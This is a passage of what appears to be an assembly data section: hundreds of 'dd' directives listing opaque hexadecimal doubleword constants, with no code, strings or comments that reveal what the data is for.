67DCE04Ch dd 8CBD5024h, 1C75E06Eh, 0A5BF9AC8h, 953934A8h, 0D9CA0414h dd 0A0C9C764h, 9D88505Eh, 438C1454h, 85682302h, 60EE079Fh dd 5C6E7228h, 0F7E3C53h, 883A92C9h, 30A0B30Bh, 0F21696EDh dd 4D06260h, 9F02B41h, 9D9068BEh, 691E4451h, 31798744h dd 0EC8CC8Ch, 0C51CACA1h, 7000E57Fh, 96FBAB2h, 0D84B6C90h dd 5BB6B409h, 2FA510BCh, 16581E2Ah, 0F7315332h, 0A4C04B30h dd 91966ACAh, 1F586238h, 6E241061h, 4D310030h, 1E4E2728h dd 0B200F894h, 12EC25F4h, 4BCAFEC8h, 4DEC092Dh, 0AC0E3479h dd 3C4B7798h, 9C058BEh, 57B4C7E5h, 14957882h, 0FA282449h dd 0A7F80CF2h, 19CDF8C9h, 2BF0E00Ch, 0C805F993h, 0C4205120h dd 899496EBh, 0ED815C0Dh, 3FDB8848h, 2C21C004h, 66D64089h dd 20589A90h, 1900CDE0h, 9ED340A0h, 19173F8h, 6BB19A5Fh dd 0F0230175h, 5612BA1Eh, 0DCC40B66h, 0F045A4ECh, 2C1C172Fh dd 7C9EDF70h, 0C033750Ah, 2F0B880Bh, 5466E480h, 4B9FA8ECh dd 74445765h, 242C6E58h, 0B3000C67h, 19087471h, 0B68F0097h dd 0D43579AAh, 0ED005C2Ah, 0DBFFDF01h, 0FB5BD0h, 0D23E8451h dd 7FE1174Eh, 0C8201609h, 295CA037h, 1DC274E5h, 3D0D1880h dd 0BCF36F8Bh, 9FC8A022h, 0D45064E8h, 6509B775h, 4086AC06h dd 0C0F62Ch, 7FEFC5DFh, 67A8266Bh, 38709C4Fh, 3BFCA84h dd 0BE569761h, 0A6C1087Eh, 5B907459h, 7EEB9D5Ch, 0AE5A443Fh dd 0C2086CDDh, 1A42CA3h, 184CE52h, 0EE8EF135h, 4C561C6Ah dd 0C54BFE6Fh, 4ED48474h, 243E34A8h, 9E499FBh, 70D99050h dd 0E6430A40h, 0E881B5BFh, 80990C30h, 31C52C21h, 4BA6F845h dd 7098CAC1h, 0C404DB00h, 0C6D46155h, 40740B4Eh, 0E50038B7h dd 1EBC6BB2h, 123F9716h, 0BE2AE004h, 1891E71Eh, 0EB81C835h dd 0BA5C1B15h, 56AC040Ch, 9C8CE650h, 5B0440D4h, 13725526h dd 51102F18h, 72800F9h, 290D62Bh, 220088BAh, 0F076AA0Bh dd 0C03089ABh, 2869F228h, 7507F917h, 7452F58Eh, 0C7E78363h dd 0DC3398C2h, 3D48050h, 0DA8865E6h, 66B01B00h, 0E51A0DA1h dd 0BBF7508Fh, 0FB271AEh, 3A25BBC1h, 62CC0516h, 0D60841B6h dd 6FB3665Ah, 465580C2h, 2CCA26ECh, 85BD800Ch, 0CDC9B90Eh dd 0BC438800h, 7F5BD4A7h, 2F1526CFh, 87FD40D0h, 0F89881ACh dd 0C4058494h, 6481F489h, 0A5C862AEh, 57EC0F71h, 69E02103h dd 543DAC5Bh, 0BD5FF8C0h, 7C2320h, 19AF9030h, 0CA5D1A39h dd 0A877B927h, 0C9018C10h, 0FE7412F0h, 7B871CCh, 0D8025292h dd 405CB7FFh, 4004B4F8h, 0BA9ED609h, 2858FB2Dh, 3409003Ch dd 2AAA8417h, 0F14C65C8h, 884A0544h, 1080B990h, 2C67E164h dd 12CC2883h, 4E0D0CAh, 554A093Eh, 42E2A099h, 104454A4h dd 0F785C84h, 32939A03h, 0F46E1883h, 20E1B200h, 8F00E9BCh dd 0D92C8BA3h, 0A5AF257h, 0B76AC1Eh, 0E7610488h, 0C57CFC10h dd 3C32AD02h, 64747E60h, 250244FAh, 1443CCF5h, 1F8FA115h dd 66E7C0h, 845F7F1Dh, 34884BF2h, 0E8058B78h, 0F9B4EABh dd 480C7CC7h, 99E32633h, 573085B4h, 31445631h, 85B5AC14h dd 15FE5A39h, 0A83CC0C9h, 0BE8C024h, 1853AD2Ah, 51A4A809h dd 3F72808Ch, 0D0B74779h, 6164CA18h, 0E0C0D618h, 17062658h dd 609B1D84h, 46E5812Dh, 9F2090E0h, 83275C84h, 0C984CCE0h dd 20CC0048h, 7131F8Dh, 24902528h, 76DDB564h, 0CC0B0BDh dd 8C465A20h, 3602CC88h, 0F1082AC0h, 0C7F4E0C4h, 0C9AF8045h dd 2577F909h, 0E8B88EE1h, 0D34F004Bh, 6056404Eh, 76419101h dd 0FDA7ABE7h, 0B963E040h, 1660504h, 84F6882Ch, 1754E984h dd 0F4CC83EBh, 345F5FF5h, 222081A0h, 0DC560033h, 5FBA0190h dd 320BB51Ch, 6058606Eh, 14AC11CBh, 0FA6813F4h, 43B4A01Eh dd 0B04F0C01h, 0C762B27Ch, 0F8DFF7FCh, 8A2400AFh, 0D3320F67h dd 0AD483A16h, 0B2210180h, 0F4AC25C5h, 0CAD4057Fh, 8388900Eh dd 765AEF34h, 0C72C8FBCh, 59A5401Ch, 0C07C12DFh, 382F9CA1h dd 987D0598h, 0A4A09665h, 88A09620h, 9167EE6h, 69124C8h dd 0B08858F0h, 1E3F88BDh, 280A32C8h, 2D244605h, 78C02D9Eh dd 5E805F6Ch, 1882957Ch, 24002C4Fh, 0F5403A2h, 0DF102389h dd 0F30443A3h, 22316013h, 410CD84Ch, 2AA0A039h, 414CBCB0h dd 7407AA87h, 0DB0DC8ACh, 2938FCA8h, 0CACCC450h, 0F8BCAEh dd 58277B1Dh, 917C82FFh, 9881F22Ah, 70033E0h, 34A3BC2Eh dd 5FAC5628h, 6950C0C1h, 0E3F03DADh, 3F10F065h, 7937D0B9h dd 0D11B55C9h, 0A3F2B0h, 11FE9Eh, 0F6997A16h, 0C4A7BA61h dd 5E01FF78h, 0ACC03183h, 0CC219C27h, 0B4C25079h, 605623BEh dd 84428880h, 0A0B1FE87h, 0A9059EB8h, 651098ACh, 9DF066h dd 0A9A3A80Ch, 20ED00CFh, 8906CB2Bh, 0C003F33Fh, 0CC665BB9h dd 0D6A102B0h, 0CF268BABh, 0BA757C61h, 43F504C8h, 0B48788D4h dd 0BACBDC20h, 0F9F867h, 0FE23FA53h, 0DB287989h, 131BAB12h dd 34F63C00h, 167B8A03h, 0C86A6Eh, 75E252D8h, 0B6381005h dd 5C90BA56h, 49648B18h, 0A80852E8h, 84B010BDh, 0C1F78060h dd 4BB10407h, 0B2C47A7Eh, 0C4F478A1h, 0BA482F9Eh, 0FE5964C0h dd 0B94E104h, 88832787h, 9E685EF2h, 3AB21E38h, 6C440220h dd 7E4AEA90h, 0D9085854h, 11E30597h, 0B1A4F065h, 7EFD144h dd 0EB494689h, 0B01F107Fh, 7A01F2C7h, 0A687ED28h, 677A8098h dd 0E216055Ch, 0F8D44B04h, 0BCB23CF4h, 5968E1D0h, 9E9C3867h dd 0F01DFD0Ah, 71821107h dd 80A93E82h, 0EFFEECE4h, 0C99B3167h, 3E416030h, 77C0D820h dd 0E2FB0E53h, 88D8BCFCh, 4D00BE3Ch, 2BF95972h, 6DEC25h dd 2D105145h, 2E7B02E4h, 9D082701h, 5AA76819h, 3DE52C40h dd 0CA640A77h, 82908A51h, 0DEC33C08h, 243C287Ch, 4A098C60h dd 2600E071h, 3A61008Ah, 234D03ECh, 0A6602025h, 0BA5E5970h dd 9C073C9h, 772A0922h, 880D9C59h, 20117Fh, 0A11395Dh dd 0A7A85582h, 6E10BEB2h, 0D378A83Bh, 0C9917BEDh, 6CD08540h dd 57E9711Eh, 0DEB6CEh, 0BA31BE15h, 854E028Fh, 3892DD68h dd 0FEF810DEh, 7401BDACh, 7D3895B2h, 7FE048F8h, 626ED80h dd 0E3884F60h, 1E1E401Fh, 86065302h, 44C88095h, 609BB3F0h dd 0A851480Ch, 0B88BE716h, 0D0560E63h, 8C54E1A5h, 0A1BF1C40h dd 2D530779h, 2FA3D0h, 74B56C87h, 0F6226300h, 0B8030127h dd 0C3D94CFEh, 6EEB481Eh, 4FEE1294h, 0D18B7428h, 0F700C478h dd 7C42248Dh, 0DEAEB068h, 4F80FFD8h, 0F026DF74h, 270F2860h dd 0EA552Ch, 0DABBE36Bh, 0BFE513B8h, 8E88B048h, 84407582h dd 305C544h, 4028B6Ch, 181FF80Ch, 58C442ECh, 6A3A1214h dd 840BD4D0h, 0AC640C46h, 2A983767h, 36167B09h, 4AD8645Dh dd 0B3E4E0A5h, 1CACD8B4h, 8060763Ch, 28D95710h, 0CDB4F401h dd 6830A4C8h, 7A490054h, 664AEE54h, 20B66BBAh, 0CA853CD1h dd 1CEC03C8h, 0B0207509h, 0F09808E4h, 25221720h, 2C90B864h dd 80BC5CA0h, 0E57CA05h, 6C92A494h, 0A8271BD6h, 878C22BCh dd 4C7CA0h, 8FACC889h, 761EF7BAh, 0BE1E88E8h, 80D25202h dd 82AC7918h, 0C583ED81h, 0E34C40FAh, 0CEF5850Ch, 96B9EC21h dd 0B4612860h, 69CA0BB4h, 0BE5508A7h, 667A5C80h, 415BC82Ah dd 79E5A4C0h, 25307495h, 0A8409387h, 212FCA53h, 7B506E51h dd 167D42A2h, 8C809388h, 54673E04h, 50ECC401h, 3E4DD88Dh dd 0D7109651h, 0D1871D5Eh, 3E968CA4h, 973D38F0h, 5F393400h dd 10BC7C16h, 0D9FA5407h, 266538D0h, 0AC1B48F6h, 327F0079h dd 11B7FF63h, 73001542h, 6C77BFAAh, 9EC057ECh, 0FA18AAF8h dd 34635F4Eh, 61BCE090h, 66B8F904h, 485A2F3h, 301900EAh dd 39846D4Dh, 0EE890C96h, 0B5FCA26Ch, 793101D6h, 60207B23h dd 0E43F917h, 682BD7A6h, 0B650AB6Ch, 525C9F0Fh, 2C7640CCh dd 74C774C2h, 31E22567h, 55ACA400h, 0CA5CCBD9h, 0E4F24A5Eh dd 584E6427h, 3148FA4Ch, 5C25D8B0h, 0C778223Eh, 7304ACC1h dd 710050B8h, 0B55B9CB0h, 25882CC8h, 4C52BE56h, 11742C00h dd 0ABE3281Dh, 0D15560D1h, 0A953C48Ch, 0B4A85617h, 583A4A2h dd 8CE2921Dh, 760C9Ah, 16651C88h, 747408A9h, 66581D01h dd 0F897BF3Ch, 0E1808EBh, 27CDB200h, 587AF1F7h, 0C9062598h dd 9C5B54B0h, 0BEC51800h, 99242EFFh, 71C81CA6h, 681E3F42h dd 3D640C12h, 0B201D710h, 0DBE1FA4Dh, 56CC6D54h, 338B18C9h dd 4EB720BBh, 2EA6660Ch, 7F1038h, 0C6A2C9B3h, 17DE4345h dd 68D39830h, 1E376BAh, 1D668431h, 0C346F6B0h, 81AABBE0h dd 42BA9E0Ch, 0CD16087h, 775E97A2h, 7E06D038h, 6CA517E3h dd 0B380010h, 68E6B71h, 1B002CFEh, 0D2338DC7h, 0C10AE456h dd 0C9B1B731h, 0AF5441C8h, 31384091h, 7F80DC8Dh, 9C881F75h dd 36B08092h, 0A1BB2F48h, 0FC061BF8h, 0B6BEA5CAh, 0D2A320E0h dd 83B57100h, 0B37A499h, 652E14CCh, 78B09Ah, 0A56FB23Bh dd 1B27FE79h, 0EFB0AA15h, 0EF05386Ch, 17FF0160h, 0FD216ECFh dd 3B898400h, 0D2E0F357h, 65C30AFh, 41279E28h, 6EB44854h dd 80E0CD80h, 84F056BDh, 0D1541B00h, 3105D2F3h, 70E666ACh dd 0C700506Dh, 982333C3h, 0C74354A6h, 50350638h, 1E6717CFh dd 4C5588A1h, 0D644F9C4h, 0FF57184Bh, 83A7B102h, 143AD38h dd 0A6A5AE34h, 898130CBh, 737E6646h, 0D010A0B6h, 0F32B2F0Ch dd 4081B003h, 0F8000C59h, 37FD0230h, 990D38h, 8086A227h dd 0B0AE3B20h, 0EAEDF700h, 0A6C96467h, 0B45200DBh, 1EA7AFD9h dd 3E006A62h, 0B08C849h, 1DD31343h, 3C03CFB6h, 0A1D9681h dd 894BB0h, 8EC231h, 1C0243B9h, 30450109h, 8A75931Ch, 3688FF05h dd 1B665181h, 0DFF0161h, 33139B8h, 75E1CFF1h, 213820C1h dd 0EB77100h, 6C321AB8h, 0D5881E15h, 442A9EE9h, 94874597h dd 6BE80054h, 0A6089F1Eh, 6E7134Ch, 3D55B037h, 889A0158h dd 34A15733h, 7E00E36Eh, 1C217131h, 0D10604h, 9F9BB8ACh dd 0CF1D1786h, 37D2EB1Fh, 0B50E4C68h, 8A310A8Fh, 0D504D49Dh dd 1C9056EAh, 0E44E88h, 9C8CAFCAh, 15F8BB32h, 0A0A1B705h dd 0E0477BA6h, 60203B0Dh, 7E193AFh, 35382BFEh, 0E3AB8076h dd 31502EA5h, 0B0484FD8h, 0B6180E7Fh, 0CA45FAAh, 40D34362h dd 90E8D054h, 67F8A01Ch, 0CDE1307Bh, 839B7948h, 8D71BA00h dd 2430380Ch, 0A89102D5h, 8391CFEh, 757E0880h, 44066A41h dd 0E30FB03Fh, 28A14950h, 9D240C9Fh, 84A475D0h, 2961A712h dd 4B62EC20h, 2031E411h, 2800EB26h, 430732DAh, 29F808h dd 1EFD0902h, 312F4606h, 10C4A4Dh, 9CDA787Fh, 3520DD0Bh dd 4960C06Ch, 4250CA6h, 249238A8h, 0E266B780h, 802C99C1h dd 0E608B6A9h, 99144959h, 90891B0h, 0A8C8231h, 0FBCD444h dd 2BB1E62h, 44538F86h, 44D32BCh, 10408969h, 0B81D349Eh dd 34A89295h, 9AF62F01h, 0A7711839h, 0C4C8435h, 0D20B1F88h dd 0DE224C49h, 0AF3C6F30h, 25D0184Dh, 7894B510h, 8CE2048h dd 0AC1DDA00h, 314EE527h, 9CC75029h, 0E8BE4C22h, 180B357Ch dd 86F007F1h, 0FE04E015h, 8B00213Ch, 50537238h, 967FA36h dd 9B1AA644h, 0E23005h, 56D36C90h, 1D03C19Ch, 3020797Ah dd 0BE03E927h, 0B82E2081h, 4DBD9897h, 1DC0C7A4h, 4977B703h dd 8800898h, 7892D131h, 0CD767F00h, 0B001E1B1h, 5CFF4DABh dd 204B641Dh, 9FD1A080h, 6EEE1816h, 54913C34h, 0C67B838h dd 8913B520h, 0B80E56EBh, 170BF090h, 5C14BFCEh, 207A3646h dd 0CB00D778h, 0F2291247h, 4DAB2Fh, 5D97F9F7h, 0AEE57132h dd 77A9625Ch, 3B802156h, 170CC2C9h, 0B9582A2Ch, 1E307EECh dd 3121E9CFh, 68DB60E9h, 75856E35h, 4FF17305h, 84041C24h dd 4801AEAh, 17B91C9h, 0B85061DCh, 37D3CFA7h, 88991220h dd 0C0DBFD0Ch, 49F500FFh, 167F5D0Bh, 4606C355h, 358DB007h dd 27970930h, 41B5ABAh, 0BA2A65C3h, 8448A8ECh, 0B4D10CD4h dd 0D2E10BEh, 3B312003h, 20744760h, 19539257h, 0DFFAB113h dd 7CA6184Ah, 3805B912h, 8C01B81Bh, 0C391986h, 797F5841h dd 0D2280432h, 511714C4h, 330DCC9Ah, 34282D4Ah, 0F8F2AF80h dd 7E9160C0h, 9624270h, 136916B8h, 40375407h, 7C043088h dd 0B227E00h, 6FC7A4D9h, 0C201C44h, 18058336h, 6000902Fh dd 16E6E304h, 2E29A132h, 0E57C060Dh, 31C088B6h, 0D0969E28h dd 6D16FF00h, 1A3A7D4Fh, 0D1CB3FCFh, 2DFD5881h, 0CCD930BAh dd 0E3E041B9h, 38995503h, 8BC8B3B7h, 0FFC0EF32h, 48E0AEFDh dd 0CE013C71h, 0D033D1E2h, 520880EAh, 0BFAE7651h, 0CE50C7E4h dd 536C1D2h, 41308302h, 0ECD58A6h, 657DB648h, 4555A280h dd 0B578C120h, 53311A1Fh, 0F9175A00h, 2DFEBCh, 92223037h dd 4A6B80F3h, 0C2C85614h, 0F6B40148h, 6272A645h, 0F9081081h dd 0EC950659h, 110096D0h, 990BA753h, 26A7433h, 0A5AC51D4h dd 8886C2A0h, 1F0178BBh, 0B90A3706h, 0A89F2229h, 0AE00E005h dd 71F96F6h dd 0B85A44Eh, 0E275B876h, 0F8D8548Dh, 0A8C7887Eh, 16C17DCFh dd 109ECEAAh, 0AE0380FAh, 0A7A595F5h, 97502560h, 1E223731h dd 192617h, 4A0C382Dh, 910A8F03h, 7055EA6Bh, 0DB049264h dd 9EB60728h, 0AA51A511h, 0A7B3C080h, 0B701112Ah, 0DF9C780Ch dd 1050884h, 318DB5AFh, 40C3C8BAh, 26CF0428h, 0C0757D3Fh dd 2E35052Dh, 75DB902h, 4245B7C0h, 36606D33h, 0CE16F091h dd 3F0F1B1Fh, 7923C0BBh, 10CB448h, 0BCE25DD1h, 40976555h dd 0FFA3D0A1h, 598223Dh, 0ED334E9Eh, 0DE38A001h, 0DAC43047h dd 503090C1h, 18DDE498h, 0C9A0EEA4h, 90C045ADh, 0D1F2D0BAh dd 0A1824AEh, 88C6141Ch, 0D8302106h, 0FE0040B5h, 25C55275h dd 62423EA6h, 81FA30D2h, 5A59A00h, 0BE0CF6Ah, 19CA2900h dd 58069720h, 40ACAEB1h, 602F628h, 0CE301DD2h, 7E0058A7h dd 865A0B20h, 1936681Bh, 4810C2A5h, 63C4D0D2h, 0BC530700h dd 4CB51ECBh, 0AB76006Bh, 0F0787D3Dh, 0FD1EB8B3h, 200C0BB6h dd 92111F2h, 6534C8C6h, 4EDE1C07h, 0D27CA5A3h, 0A92E5801h dd 0CE2BFDA4h, 50B42020h, 5062F8F5h, 920C8CA3h, 6DE50034h dd 55D9CD65h, 0D13CCA76h, 84E214CCh, 0E3A53CC0h, 0F0A8B331h dd 13286FF8h, 0BAFA718h, 0EF815417h, 20448A30h, 891BC04h dd 9E04B61Fh, 0C48199FDh, 0B442071Ah, 42AD60B5h, 0C1B7011Ch dd 59F8DDA2h, 0AE9840CEh, 0A0A07E65h, 3913D3A3h, 27856h dd 48E34D64h, 0A931CE08h, 998AFEF0h, 41F0FB07h, 40985C30h dd 1C8687B8h, 28B63B03h, 0A785759Fh, 0E2AE01AFh, 99FD3018h dd 1BBF2887h, 0AD6A8353h, 0D3BA1000h, 6F1ABB3Ah, 984900AAh dd 32CF683h, 0E10092AFh, 869CC44h, 3739A1h, 6728463Ch dd 9EA9A515h, 0A6D390C1h, 80F62930h, 0AF347084h, 98B1493Fh dd 3C73AB00h, 0AEF544DFh, 18923332h, 4F4C48CEh, 0A0C8C2F1h dd 0A4466F7Dh, 17023004h, 0C0A273h, 5456911Ch, 2616B434h dd 0BF68877Fh, 8680884Ch, 4A9563Ah, 2A6C11C8h, 0F1234C78h dd 7C1B9500h, 24C08B97h, 5A137D03h, 13998982h, 58AF07F0h dd 91C89004h, 0F10B6C02h, 40B02F66h, 0EC367B2Ch, 0D601073Bh dd 0B847A648h, 0D8CC980Ah, 0B406030Ah, 21139210h, 2E8801BDh dd 0AB4CED17h, 0E500F458h, 0AE681E7Bh, 14F240Ch, 626E1064h dd 60BD2821h, 541A7D20h, 0FACF8C53h, 97B609E3h, 3C10C4C8h dd 0B9C03F16h, 179ED007h, 9073508Ah, 3635003Ah, 7E99972Eh dd 431CC76Fh, 2152AEBDh, 411EFC00h, 597206C8h, 30390839h dd 0AC5CBBACh, 0B25B0A67h, 0C09B09D8h, 0A3A97418h, 2177FD09h dd 66188476h, 7E4C882h, 9255946Bh, 0B8403470h, 0C30789E3h dd 4233E7EBh, 15AE16D1h, 0C81DB080h, 0DC48A78Ch, 32100405h dd 0E00C3E98h, 1FB58D0h, 23920255h, 34DBE130h, 2700282Ch dd 6EE28C9Eh, 9303203Ch, 0BEA60604h, 9100A9CAh, 2178CDA0h dd 0F8D97C8h, 16CC5227h, 3906C6Ah, 3DEC3008h, 1B3826h dd 0DE1898A6h, 6481CA1h, 21AF0CB8h, 0E0986033h, 0C1B54913h dd 1AABC800h, 657EEC41h, 88BA50A9h, 0D53030F8h, 0B719100Eh dd 4C0C90ABh, 7E0418h, 206270F3h, 2650E2Fh, 45CD0709h dd 0CA58A3E3h, 17210CF2h, 658614Eh, 5054CE4Ch, 88CE05A0h dd 5A966097h, 98F99956h, 0AA441534h, 801B40B9h, 8CB410DDh dd 0A8924014h, 5A073707h, 0FDE004B2h, 6372AE82h, 8AC6C0E5h dd 0E880CFD2h, 0A08CAF6Fh, 33F70A02h, 68521704h, 0EA7C123Ch dd 6E90BCh, 96216F05h, 1C0CEBBBh, 0A4AEE300h, 0D741A6Bh dd 35A30B08h, 438C3075h, 33243790h, 144F4B6h, 9B5C8C2h dd 60307400h, 4239B887h, 83E0486Bh, 0EECFAFh, 0D23348A0h dd 8DA59FB5h, 0F61E4CB2h, 2F18C876h, 77A6AEE9h, 5334072Dh dd 7AFD0h, 0C0108AFEh, 0FDF83012h, 64152440h, 0F8E8CF4Eh dd 257D021Eh, 0B2A33843h, 70FBB486h, 35D77400h, 68C9C2E2h dd 42C6092Eh, 740F8331h, 859B5560h, 0B483818h, 1A079640h dd 0BACF30B5h, 24E096C8h, 81184816h, 81F9521h, 75CCCCFCh dd 979B641Ah, 34F8C9F8h, 25661701h, 80E5E3E8h, 24783110h dd 0B4A29492h, 0D9863DDh, 0ACD63010h, 462041E0h, 7C3200A5h dd 9C08B9EFh, 147E80E7h, 0FE5198E6h, 78E0BB76h, 68343926h dd 7D300402h, 0BF646BF0h, 1DFE2C80h, 29F0031h, 0CA397198h dd 0E6E0AE97h, 269158C0h, 0A0641Dh, 21F705F3h, 6F9E1703h dd 957CFE54h, 50B02A4Dh, 240C0C30h, 68D9ED30h, 40C8B0D4h dd 6D116478h, 8210BCE2h, 84BB0287h, 40152630h, 297DA4h dd 0DBC185A9h, 171F39B6h, 0F1C58E77h, 884531F7h, 0CC14057Ah dd 5B6B1856h, 0B8A30680h, 28389934h, 51E0844Ah, 0C871EC88h dd 61702464h, 44AF29B9h, 8CC0ACE9h, 0A09D3B0Bh, 43F2F614h dd 30130C94h, 8748471Eh, 1CC38B0Ah, 0DC229C86h, 0F2206490h dd 1814F8E6h, 50CADBB0h, 6E20A597h, 0B2732E9Bh, 85AE085Ch dd 38032D12h, 131280A5h, 3CC9788h, 0A005FE18h, 87D424E1h dd 0EF236A19h, 26116E40h, 0B601FBCCh, 6340885Dh, 0A22E005Fh dd 0B7672D9Eh, 0A6BD9C0h, 432F3Ah, 9133C748h, 1EA2FD7Dh dd 4546490h, 361C898Ch, 48D8693Ah, 81C0E2B0h, 5808A8E3h dd 8D81B49h, 28FD0A37h, 0D72939B4h, 20AF02FAh, 0F74F1F99h dd 6F0310CCh, 6B274BAEh, 0D0B1584Ch, 7525263Ah, 19857090h dd 9AA2B016h, 0F9484800h, 0D0357E1Bh, 2085B0C0h, 88D4D5D0h dd 8F4CC690h, 99C31820h, 0E108E39h, 7915E907h, 0A48E3A1Ch dd 3323FFD1h, 0BCE9243Ch, 891A8169h, 4C181E1h, 0FD760EB8h dd 41870642h, 0DBE75C5Fh, 573E0DF9h, 0D31F01BFh, 3F02D3D7h dd 0D3660E03h, 0D39C2404h, 686D0D6Eh, 876731B0h, 4EC834Ah dd 0C06F1C67h, 1D8B593Fh, 9CE9185Bh, 0FFEE2918h, 5D243400h dd 6804C483h, 6F4E3CEFh, 0C7815F00h, 73775BA6h, 7EF7293Ch dd 868B08A1h, 5566E936h, 748FF391h, 0F4D95457h, 0DE9FFC50h dd 0B9519AC0h, 8174B7h, 59CA291Dh, 23E9D701h, 5820FB67h dd 78ECE763h, 1C77060Ch, 0E659669Dh, 0D0FB11EDh, 0E52C3101h dd 8B069F33h, 0EED2BCBFh, 81003125h, 0A45F6FEAh, 537D5B2Fh dd 1AF7A630h, 0ACD830ACh, 85A6CA8Dh, 83C490C6h, 1D8BEA29h dd 0B1A8E958h, 4302B93Ch, 0F142CD0Fh, 0FF550F1Ah, 5D0F5E74h dd 2A50748Fh, 0FE8C866h, 32C8B63Ch, 2F92AE51h, 46D714EAh dd 0BCEF3B54h, 1FE90D06h, 91D8D5D9h, 2F870F0Fh, 0A81CC101h dd 6765FA08h, 63468423h, 0C0C2784h, 385EF109h, 0B7031FE4h dd 88978CFFh, 0D90ABF1Ch, 0F37D6C37h, 923EE600h, 0CE7C15Ch dd 52B9E903h, 0A31E0526h, 18FBC0Eh, 87E286C8h, 0C316A918h dd 0C2565EE4h, 0BD555C12h, 0EB018590h, 1C875D14h, 0D0F09C82h dd 49AC6851h, 18643E13h, 0C1C1081h, 0EEDB85E9h, 5EE1EC1h dd 1F754A56h, 0CDD89DBAh, 20E734Bh, 5E41C0A5h, 0CFEDEC87h dd 0ABA36C9h, 4A01CB36h, 3425F281h, 34C12CF8h, 40607E2h dd 8E0B89A9h, 0E337DC6h, 0B9E01B42h, 0CF921E34h, 1924E8h dd 50D2BAD5h, 39903CB5h, 0AB44DC41h, 620C7EC6h, 0EC81EF66h dd 0B4012E8Ah, 110B3572h, 0E9899C31h, 43C73B2Ah, 2B5074C7h dd 260BEB8h, 0E4B8502Bh, 2F5E0251h, 1133E948h, 28C76248h dd 121F603Ch, 0DA10CF29h, 30E93F08h, 0C15AA2D7h, 311007E8h dd 8D5452C8h, 1D4A2350h, 0FC22EEAh, 88C2015Eh, 1CBF08EDh dd 376886E9h, 92831B81h dd 0FE00870Ch, 0FC0095Ch, 80673584h, 53EB401Eh, 0B0367CBBh dd 5C312F14h, 404049FDh, 8D54B8A0h, 5AC1DF83h, 3E074B0Dh dd 99204FBh, 8418E430h, 10F75209h, 21849542h, 0E9C990C8h dd 0E8910A38h, 6885494Ah, 0A8387229h, 5EF32601h, 4EC10A6h dd 515AD031h, 0FD52C2h, 47B6EB81h, 3E8023Bh, 522DCFC2h dd 180C7F26h, 0A8764D06h, 430D581Ah, 1CDA292Fh, 801C0806h dd 49CDE914h, 1550FED3h, 68690FB8h, 95BFA059h, 0A26A9964h dd 0E68902B0h, 0B59BC681h, 323408B4h, 9408CEB4h, 7613C315h dd 99724882h, 0BC31817Eh, 261A1870h, 48CE2110h, 307B759h dd 5181DEF7h, 201E605Bh, 8B0CF660h, 1849467Ch, 0EF4F049Fh dd 82F0293Ch, 50C3E805h, 83D5CC8h, 0A8F78104h, 0F4C7F26Bh dd 937C33B0h, 78DFF607h, 0EA0450C1h, 0B5E41883h, 53732E3Bh dd 47252C19h, 0E02F1330h, 0F8580190h, 0D5AE4921h, 0C331878Bh dd 56E9C220h, 11A4936Fh, 2A093E01h, 384A11Ch, 0E9162384h dd 0A62773F0h, 0CDC888C8h, 0F5098712h, 54DC235Ch, 6343F159h dd 0CA815A00h, 6A2C1C71h, 0FC08740Fh, 73A120CFh, 8BDEC087h dd 89AE5FCAh, 134F874h, 76C785C3h, 0BA00F364h, 70BD48BEh dd 8950570Eh, 58C747D0h, 5FFE53h, 0B746C668h, 0F7018F42h dd 82B05E48h, 0AE4BF368h, 81E5627Eh, 206666C5h, 0B9004A60h dd 3534759Ah, 0C19EF181h, 59CB010Dh, 0E05A7057h, 88538CC3h dd 5BF891D7h, 8A389420h, 86884E66h, 0F4C6C588h, 152266F2h dd 1634AA68h, 50BFB203h, 0C283B1B0h, 4778EE18h, 12882D20h dd 711676h, 0B2E1C27h, 0C668014Fh, 9E2408E8h, 75AAFE23h dd 5AD2E91Ah, 0CA899610h, 42170250h, 8DA0665Ch, 0F511E952h dd 0DA5CB792h, 0E3497D08h, 2EBC996h, 16B3009h, 0C880C228h dd 587566EEh, 0C003CA7Dh, 53E905EAh, 0BB4C01E1h, 64C36069h dd 3055C54Bh, 83C8368Bh, 1E9C241Ch, 15E28FD5h, 0AD8CD4E6h dd 1861C73Fh, 8F0C6B07h, 63F4063Ch, 0E124A1E9h, 0E788CC80h dd 189A6082h, 878B8D27h, 0B5321835h, 0EDC006E4h, 0ACDFE04h dd 0C580030Eh, 8DF560FFh, 0D2493DE9h, 85D22730h, 2FE52242h dd 0FEE1622Dh, 0A1CA65A2h, 0C753A16h, 0FCE89D0Ch, 5920D233h dd 345C0D2Eh, 660E51B1h, 8E2943B9h, 10BFC257h, 0FECE8091h dd 9A1D71E9h, 78F34C43h, 2A6DCC9Eh, 4900BE16h, 0B81C9910h dd 262F0A72h, 3E01E8h, 7955872Dh, 0E016C14Bh, 81084008h dd 0D9B6022Bh, 0C3C2F328h, 81C45EA4h, 0CB80C30Eh, 798A68F0h dd 0E91998A6h, 0EB871210h, 0C1131136h, 0DD6C14E3h, 7FDF9F02h dd 56C25F29h, 0A756D006h, 9CD7F72Eh, 0BE40081Eh, 0B9C30DFCh dd 55E9F829h, 0EEDC98CEh, 90B3985Dh, 12D4EC83h, 156E40Bh dd 3AD6B862h, 574164C0h, 0FAE40198h, 4198829Ah, 46C7397Ch dd 0B580BAB0h, 51E5C059h, 0ED03F003h, 0CDED9B4Ah, 592046C3h dd 1AD4322Ah, 2EE95FB0h, 5B0C0F66h, 124A36Bh, 0AFCF81D3h dd 314E317Ch, 0F7C8D4CDh, 0F829C503h, 6E7D52E9h, 0E76F3659h dd 0D2E4B444h, 0E2E1D180h, 241B2425h, 92ED59CBh, 96B90A8Ch dd 48F6BD09h, 4C171ED5h, 0E818B139h, 0D5C38343h, 20B97B1Dh dd 8A8F382h, 0DA594077h, 0BBE361E9h, 244CFC68h, 1445DE82h dd 1AE0E8ACh, 55990650h, 1B99232Dh, 493CFB5h, 307CB031h dd 2CF781C7h, 0CD347CDh, 89413CEEh, 62DC52F7h, 4F32D61Eh dd 5F8FF901h, 12CA21C5h, 8C5296Eh, 29968706h, 1D8A7E0Ch dd 8638076Ah, 0FC215B7Bh, 0F748550Eh, 115D315Ch, 0C1EC42FFh dd 6005FC62h, 67E00881h, 0E9185304h, 554A7557h, 0BB5E905Ah dd 0E1E9053Bh, 6B86CA16h, 1F930A5h, 835826C5h, 5CA5321Bh dd 0BA52F0A0h, 0E23C1FA1h, 4AD7AC5Eh, 3879E701h, 60307CBFh dd 3D4F16E0h, 0E3E34116h, 0EB249750h, 35A2E9C1h, 0F7C22035h dd 0E7D14E54h, 946B1C94h, 7EB90293h, 492B0315h, 